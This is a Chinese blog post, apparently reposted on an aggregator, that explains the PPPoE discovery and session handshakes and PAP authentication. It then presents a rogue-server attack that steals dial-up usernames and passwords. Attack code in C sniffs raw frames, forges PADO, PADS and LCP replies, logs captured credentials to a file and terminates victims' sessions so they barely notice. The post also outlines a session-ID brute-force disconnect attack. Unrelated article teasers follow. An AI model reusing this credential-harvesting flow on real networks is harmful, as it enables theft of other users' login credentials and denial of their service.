PPPOE拨号上网流程及密码窃取具体实现

  楼主学生党一枚,最近研究netkeeper有些许心得。

关于netkeeper是调用windows的rasdial来进行上网的东西,网上已经有一大堆,我就不赘述了。

本文主要讲解rasdial的部分核心过程,以及我们可以利用它来干些什么。

netkeeper中rasdial是通过PPPOE来进行用户认证并提供上网的。

PPPOE分为两个阶段PPPOED(即发现阶段)PPPOES(会话阶段)

关于PPPOED部分,维基上有很详细的介绍 。给个链接 https://en.wikipedia.org/wiki/Point-to-point_protocol_over_Ethernet

我只简略的说一下,可以分为以下四个部分:

PPPOED的协议格式:数字代表字节数。

|    6       |        6       |    2    |  链路层

dstmac     srcmac      proctol   很简单,不多说

|  1              |         1      |    2             |        2              | PPPOED头

ver_type           code        session id      payload len

固定为0x11   行为代码     会话id         后续报文的长度

|      payload len |  PPPOED tags。 这个不好说,可以去wiki看看。

 

// proctol  注意字节序的问题
#define PPPOED  0x8863
#define PPPOES  0x8864
//PPPOED code
#define
PPPOED_PADI 0x09 #define PPPOED_PADO 0x07 #define PPPOED_PADR 0x19 #define PPPOED_PADS 0x65 #define PPPOED_SESSION 0x00 #define PPPOED_PADT 0xa7
struct PPPOE_hdr
{
    char dst[6];
    char src[6];
    char proctol[2];
    char ver_type;
    char code;
    char sid[2];
    char len[2];
};
struct PPPOE_tag
{
    char name[2];
    char len[2];
    char *value;
};

 

PADI:由client发送。(PPPOED tags 貌似必须要有host-uniq属性),就是广播说我想上网,谁能给我提供这个服务。

PADO:由server发送。(PPPOED tags必须要有AC-name属性,而且要有client发的PADI里的host-uniq属性。)就是服务器说我可以给你下这个服务。

PADR:client发送。(要有host-uniq)client向server请求上网服务,当接收到多个server的PADO时,一般向第一个收到的server请求服务。

PADS:server发送。(要有PADR的host-uniq,且需设置session id)之后开始服务。

 

PPPOES:我重点要讲的部分,在网上搜了很久的资料也没搜到啥,自己总结一下,方便他人。

PPP  LCP协议格式:  PPPOES支持的协议太多,而我们需要研究的只有LCP,所以只讲LCP。前面与PPPOED相同.

 

|    6       |        6       |    2    |  链路层

 

dstmac     srcmac      proctol   很简单,不多说

 

|  1              |         1      |    2             |        2              | PPPOED头

 

ver_type           code        session id      payload len

固定为0x11   行为代码     会话id         后续报文的长度

|        2        |  ppp proctol type

|   1                    |       1        |       2       | LCP header

 code                        id             len     

LCP行为代码       验证id       len指LCP header与后续报文的长度,与PPPOED不同  即 len = 4 + 后续报文长度

|   len        | LCP opts

//PPPOES proctol
#define PPP_LCP 0xc021
#define PPP_PAP 0xc023
//LCP code
#define LCP_REQUEST 0x01
#define LCP_ACK     0x02
#define LCP_NAK     0x03
#define LCP_REJECT  0x04
#define LCP_TERMINATIN_REQUEST 0x05
#define LCP_TERMINATION_ACK 0x06
#define LCP_IDENTIFICATION 0x0c// PAP code #define PAP_REQUEST 0x01 #define PAP_ACK 0x02
struct LCP_hdr
{
    struct PPPOE_hdr pppoe;
    char proctol[2];
    char code;
    char id;
    char len[2];
    char padding[2];//填充,字节对齐。
};
struct LCP_opt
{
    char name;
    char len;
    char* value;
};


 

下面给个例子

讲完协议基础,就将PPPOES具体发生了什么。楼主只研究过PAP,所以下面讲PAP

1. client向server发送LCP request,请求配置(例如MTU之类的)

2.server向client发送LCP ack或LCP reject(若发的是reject,client需要根据reject再发一份request直到server ack)。

3.server向client发LCP request,LCP request中包含用户认证的方式CHAP 或 PAP。

4.client发LCP ack

5.client准备开始发送用户名和密码。发送3个LCP identification。

6.client开始发送用户名和密码。发送PAP报文。

7.server对用户名和密码进行认证,若通过则通过IPCP进行ip配置。错误则无法上网。

下面给一个PAP报文的例子,与LCP很相似。

上述总结一个图

 

ps:楼主字丑勿喷。

应用:

1.根据上面所讲的过程可知,我们可以在别人拨号上网发PADI的时候,发一个PADO伪装成server,一般而言,只要client先接收到的是我们的PADO,我们就可以获取到用户名和密码,窃取到密码以后我们就发送一个LCP termination request和PPPOED PADT,在把用户的MAC加入窃取到的MAC表中,对于窃取到的就不再进行拦截。

这样真正的用户在登录时只会出现一次登录失败,之后正常,用户也不会认为出了什么问题。

2.我们自己发PADI获取当前网段中的PPPOE服务器的mac,再将自己的mac伪装成服务器的,穷举session id 发送PADT给正在正常上网的用户就可以让他断网。

 

应用1楼主已经实现了,2没做。源码就不发了,防止有人搞破坏。

下面只贴出流程代码

int main()
{int sock,recv_bytes,i = 0;struct Mac src;struct Mac self = getLocalMac("eth0");char buf[2048] = {0};FILE * fpout;std::vector<struct PPPOE_tag*> tags;std::vector<struct LCP_opt*> opts;std::vector<struct Mac*> macMap;sock = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL));fpout = fopen("./password.txt","w");if (sock == -1){perror("socket");exit(1);}while(1){i = 0;recv_bytes = recv(sock,buf,2048,0);src = getSrcMac(buf);if (isMacInMap(&src,macMap))continue;if( PPPOED == getProctol(buf)){unsigned code;PPPOE_HeaderReader pppoe(buf,recv_bytes);pppoe.getPPPOED_tags(tags);code = pppoe.getCode();if (code == PPPOED_PADI)sendPADO(sock,src,tags);else if (code == PPPOED_PADR)sendPADS(sock,src,tags);else if (code == PPPOED_PADT)sendPADT(sock,src,tags,pppoe.getSessionId());release(tags);}if(PPPOES == getProctol(buf)){PPPOE_HeaderReader pppoe(buf,recv_bytes);switch (getPPP_type(buf)){case PPP_LCP:pppoe.getLCP_opts();if(buf[22] == LCP_REQUEST){HeaderBuilder builder;memcpy(buf,src.mac,6);memcpy(buf + 6,self.mac,6);buf[22] = LCP_ACK;sendEth(sock,buf,recv_bytes);buf[22] = LCP_REQUEST;buf[25] = 4 + sizeof (lcp_request);builder.addHeader(buf,26);builder.addHeader(lcp_request,sizeof (lcp_request));sendEth(sock,builder.head(),builder.getsize());}else if (buf[22] == LCP_TERMINATIN_REQUEST){HeaderBuilder builder;memcpy(buf,src.mac,6);memcpy(buf + 6,self.mac,6);buf[22] = LCP_ACK;sendEth(sock,buf,recv_bytes);}break;case PPP_PAP:struct Mac * tmpmac = malloc(sizeof (struct Mac));memcpy(tmpmac,&src,sizeof(struct Mac));macMap.push_back(tmpmac);recordPassword(fpout,buf);sendPADT(sock,src,tags,pppoe.getSessionId());break;}release(opts);}}close(sock);release(macMap);fclose(fpout);return 0;
}

 

转载于:https://www.cnblogs.com/sky-star/p/pppoe.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/390676.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

新购阿里云服务器ECS创建之后无法ssh连接的问题处理

作者&#xff1a;13 GitHub&#xff1a;https://github.com/ZHENFENG13 版权声明&#xff1a;本文为原创文章&#xff0c;未经允许不得转载。 问题描述 由于原服务器将要到期&#xff0c;因此趁着阿里云搞促销活动重新购买了一台ECS服务器&#xff0c;但是在初始化并启动后却无…

边缘计算 ai_在边缘探索AI!

边缘计算 ai介绍 (Introduction) What is Edge (or Fog) Computing?什么是边缘(或雾)计算&#xff1f; Gartner defines edge computing as: “a part of a distributed computing topology in which information processing is located close to the edge — where things a…

初识spring-boot

使用Spring或者SpringMVC的话依然有许多东西需要我们进行配置&#xff0c;这样不仅徒增工作量而且在跨平台部署时容易出问题。 使用Spring Boot可以让我们快速创建一个基于Spring的项目&#xff0c;而让这个Spring项目跑起来我们只需要很少的配置就可以了。Spring Boot主要有如…

leetcode 879. 盈利计划(dp)

这是我参与更文挑战的第9天 &#xff0c;活动详情查看更文挑战 题目 集团里有 n 名员工&#xff0c;他们可以完成各种各样的工作创造利润。 第 i 种工作会产生 profit[i] 的利润&#xff0c;它要求 group[i] 名成员共同参与。如果成员参与了其中一项工作&#xff0c;就不能…

区块链101:区块链的应用和用例是什么?

区块链技术是一场记录系统的革命。 比特币是历史上第一个永久的、分散的、全球性的、无信任的记录分类帐。自其发明以来&#xff0c;世界各地各行各业的企业家都开始明白这一发展的意义。 区块链技术的本质让人联想到疯狂&#xff0c;因为这个想法现在可以应用到任何值得信赖的…

如何建立搜索引擎_如何建立搜寻引擎

如何建立搜索引擎This article outlines one of the most important search algorithms used today and demonstrates how to implement it in Python in just a few lines of code.本文概述了当今使用的最重要的搜索算法之一&#xff0c;并演示了如何仅用几行代码就可以在Pyth…

用Docker自动构建纸壳CMS

纸壳CMS可以运行在Docker上&#xff0c;接下来看看如何自动构建纸壳CMS的Docker Image。我们希望的是在代码提交到GitHub以后&#xff0c;容器镜像服务可以自动构建Docker Image&#xff0c;构建好以后&#xff0c;就可以直接拿这个Docker Image来运行了。 Dockerfile 最重要的…

Linux学习笔记15—RPM包的安装OR源码包的安装

RPM安装命令1、 安装一个rpm包rpm –ivh 包名“-i” : 安装的意思“-v” : 可视化“-h” : 显示安装进度另外在安装一个rpm包时常用的附带参数有&#xff1a;--force : 强制安装&#xff0c;即使覆盖属于其他包的文件也要安装--nodeps : 当要安装的rpm包依赖其他包时&#xff0…

leetcode 518. 零钱兑换 II

给定不同面额的硬币和一个总金额。写出函数来计算可以凑成总金额的硬币组合数。假设每一种面额的硬币有无限个。 示例 1: 输入: amount 5, coins [1, 2, 5] 输出: 4 解释: 有四种方式可以凑成总金额: 55 5221 52111 511111 示例 2: 输入: amount 3, coins [2] 输出: 0 解…

leetcode 279. 完全平方数(dp)

题目一 给定正整数 n&#xff0c;找到若干个完全平方数&#xff08;比如 1, 4, 9, 16, …&#xff09;使得它们的和等于 n。你需要让组成和的完全平方数的个数最少。 给你一个整数 n &#xff0c;返回和为 n 的完全平方数的 最少数量 。 完全平方数 是一个整数&#xff0c;其…

github代码_GitHub启动代码空间

github代码Codespaces works like a virtual Integrated Development Environment (IDE) on the cloud.代码空间的工作方式类似于云上的虚拟集成开发环境(IDE)。 Until now, you had to make a pull request to contribute to a project. This required setting up the enviro…

leetcode 1449. 数位成本和为目标值的最大数字(dp)

这是我参与更文挑战的第12天 &#xff0c;活动详情查看更文挑战 题目 给你一个整数数组 cost 和一个整数 target 。请你返回满足如下规则可以得到的 最大 整数&#xff1a; 给当前结果添加一个数位&#xff08;i 1&#xff09;的成本为 cost[i] &#xff08;cost 数组下标…

风能matlab仿真_风能产量预测—深度学习项目

风能matlab仿真DL DATATHON- AI4ImpactDL DATATHON- AI4影响 Published by Team AI Traders — Suyash Lohia, Nguyen Khoi Phan, Nikunj Taneja, Naman Agarwal and Mihir GuptaAI交易员团队发布 -Suyash Lohia&#xff0c;Nguyen Khoi Phan&#xff0c;Nikonj Taneja&#x…

android JNI调用(Android Studio 3.0.1)(转)

最近回头复习了一下android 的jni调用&#xff0c;却发现按以前的方法调用失败&#xff0c;一怒之下就重新摸索&#xff0c;碰了几次壁&#xff0c;发现网上好多教程都不能成功调用&#xff0c;于是记录一下现在AS版本成功好用的调用方法。 这里设定你的ndk已经下载并且设置没问…

安卓源码 代号,标签和内部版本号

SetupSecurityPortingTuningCompatibilityReference转到源代码Getting Started OverviewCodelines, Branches, and ReleasesCodenames, Tags, and Build NumbersProject RolesBrand GuidelinesLicensesFAQSite UpdatesDownloading and Building RequirementsEstablishing a Bui…

leetcode 278. 第一个错误的版本(二分)

题目 你是产品经理&#xff0c;目前正在带领一个团队开发新的产品。不幸的是&#xff0c;你的产品的最新版本没有通过质量检测。由于每个版本都是基于之前的版本开发的&#xff0c;所以错误的版本之后的所有版本都是错的。 假设你有 n 个版本 [1, 2, …, n]&#xff0c;你想找…

腾讯哈勃_用Python的黑客统计资料重新审视哈勃定律

腾讯哈勃Simple OLS Regression, Pairs Bootstrap Resampling, and Hypothesis Testing to observe the effect of Hubble’s Law in Python.通过简单的OLS回归&#xff0c;配对Bootstrap重采样和假设检验来观察哈勃定律在Python中的效果。 In this post, we will revisit Hub…

JAVA中动态编译的简单使用

一、引用库 pom文件中申明如下&#xff1a; <dependencies><!-- https://mvnrepository.com/artifact/junit/junit --><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.12</version><…

leetcode 5786. 可移除字符的最大数目(二分法)

题目 给你两个字符串 s 和 p &#xff0c;其中 p 是 s 的一个 子序列 。同时&#xff0c;给你一个元素 互不相同 且下标 从 0 开始 计数的整数数组 removable &#xff0c;该数组是 s 中下标的一个子集&#xff08;s 的下标也 从 0 开始 计数&#xff09;。 请你找出一个整数…

如何使用Picterra的地理空间平台分析卫星图像

From April-May 2020, Sentinel-Hub had organized the third edition of their custom script competition. The competition was organized in collaboration with the Copernicus EU Earth Observation programme, the European Space Agency and AI4EO consortium.从2020年…